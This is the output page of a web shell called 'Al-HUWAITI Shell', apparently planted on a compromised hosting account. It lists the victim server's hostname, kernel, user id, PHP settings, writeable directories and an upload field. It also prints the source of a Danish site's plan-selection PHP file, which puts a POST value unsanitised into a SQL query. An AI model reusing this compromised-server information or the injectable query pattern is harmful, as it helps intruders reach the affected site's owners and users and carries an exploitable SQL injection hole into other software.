Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/annoncelights.dk/public_html/services_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/annoncelights.dk/public_html/services_html/sub_plan.php
<?php
	include "../db_connection.php";
	include "../sessioncheck.php";
	
	if(!empty($_POST['plan_mode']) && trim($_POST['plan_mode'])=="Boost"){	
		$count = 1;
		$boost_plan_sql = mysqli_query($connection,"select * from boost_plan where plan_id='4' and status='Active' order by `sub_plan_id` desc");
		$count_boost_plan = $boost_plan_sql->num_rows; 
		if($count_boost_plan > 0){
	?>
			<div class="paymentCont">
				<div class="paymentWrap">
					<div class="paymentBtnGroup" data-toggle="buttons">
					<?php
						while($boost_plans = mysqli_fetch_assoc($boost_plan_sql)){
							if($count == 1){
								$payable_amount = $boost_plans['amount'];
							}
							$amt_per_day = number_format((float)($boost_plans['amount']/$boost_plans['plan_days']), 2, '.', '');
							$amt_explode = explode('.',$amt_per_day);
							$bigno = $amt_explode[0];
							$cents = $amt_explode[1];
							$active = '';
							$checked = '';
							if($count == 1){
								$active = 'active';
								$checked = 'checked';
							}
					?>
							<?php if($count_boost_plan=="1"){ ?>
							<div class="col-lg-10 col-lg-offset-1 btn paymentMethod <?php echo $active ?>">
							<?php }elseif($count_boost_plan=="2"){ ?>
							<div class="col-md-6 col-sm-6 col-xs-12 btn paymentMethod <?php echo $active ?>"> 
							<?php }else{ ?>
						 <div class="col-md-4 col-sm-4 col-xs-12 btn paymentMethod <?php echo $active ?>"> 
						 <?php } ?>
								<div class="method" align="center">
									<label><?php echo $boost_plans['plan_days'] ?> Dage</label>
									<table class="sub_price_no" align="center">
										<tbody>
											<tr>
												<td class="currency">€</td>
												<td class="bigno"><?php echo $bigno ?></td>
												<td class="smallno"><div class="cents"><?php echo $cents ?></div><div class="month">/Dag</div></td>
											</tr>
										</tbody>
									</table>
									<input type="radio" value="<?php echo $boost_plans['sub_plan_id'] ?>" id="sub_plan_id_list_<?php echo $count ?>_boost" class="radio sub_plan_id_list_boost" name="sub_plan_id_list_boost" <?php echo $checked ?>>
									<label class="radio__label" for="sub_plan_id_list_<?php echo $count ?>_boost"></label>
								</div>
							</div>
					<?php
							$count++;
						}
					?>
						</div>
					</div>
				</div>
				<div class="payable_amt_div col-md-12 col-xs-12 pt-20">Betalingsbeløb: <span class="payable_currency">€ </span><span class="payable_amt_boost"><?php echo $payable_amount ?></span></div>			
	<?php
		}//if($boost_plan_sql->num_rows > 0)		
	}else{ //if(!empty($_POST['plan_mode']) && trim($_POST['plan_mode'])=="Boost")
			//print_r($_POST);	
		if(!empty($_POST['plan_id'])){
			$count = 1; 		
			$sub_plan_sql = mysqli_query($connection,"SELECT * FROM plans WHERE plan_id=".$_POST['plan_id']." and status='Active' order by `sub_plan_id` desc");
			$count_plan = $sub_plan_sql->num_rows; 
			if($count_plan > 0){
				?>
				<div class="paymentCont">
					<div class="paymentWrap">
						<div class="paymentBtnGroup" data-toggle="buttons">
					<?php
						while($sub_plans = mysqli_fetch_assoc($sub_plan_sql)){
							if($count == 1){
								$payable_amount = $sub_plans['amount'];
							}
							$amt_per_day = number_format((float)($sub_plans['amount']/$sub_plans['plan_days']), 2, '.', '');
							$amt_explode = explode('.',$amt_per_day);
							$bigno = $amt_explode[0];
							$cents = $amt_explode[1];
							$active = '';
							$checked = '';
							if($count == 1){
								$active = 'active';
								$checked = 'checked';
							}
					?>						
							<?php if($count_plan=="1"){ ?>
							<div class="col-lg-10 col-lg-offset-1 btn paymentMethod <?php echo $active ?>">
							<?php }elseif($count_plan=="2"){ ?>
							<div class="col-md-6 col-sm-6 col-xs-12 btn paymentMethod <?php echo $active ?>">	
							<?php }else{ ?>
						 <div class="col-md-4 col-sm-4 col-xs-12 btn paymentMethod <?php echo $active ?>">	
						 <?php } ?>							
								<div class="method" align="center">
									<label><?php echo $sub_plans['plan_days'] ?> Dage</label>
									<table class="sub_price_no" align="center">
										<tbody>
											<tr>
												<td class="currency">€</td>
												<td class="bigno"><?php echo $bigno ?></td>
												<td class="smallno"><div class="cents"><?php echo $cents ?></div><div class="month">/dag</div></td>
											</tr>
										</tbody>
									</table>
									<input type="radio" value="<?php echo $sub_plans['sub_plan_id'] ?>" id="sub_plan_id_list_<?php echo $count ?>" class="radio sub_plan_id_list" name="sub_plan_id_list" <?php echo $checked ?>>
									<label class="radio__label" for="sub_plan_id_list_<?php echo $count ?>"></label>
								</div>
							</div>
					<?php
							$count++;
						}
					?>
						</div>
					</div>
				</div>
				<div class="payable_amt_div col-md-12 col-xs-12 pt-20">Betalingsbeløb: <span class="payable_currency">€ </span><span class="payable_amt"><?php echo $payable_amount ?></span></div>
	<?php
				} //if($sub_plan_sql->num_rows > 0)
			}//if(!empty($_POST['plan_id']))		
		}//else of if(!empty($_POST['plan_mode']) && trim($_POST['plan_mode'])=="Boost")		
	?>
	

Al-HUWAITI Shell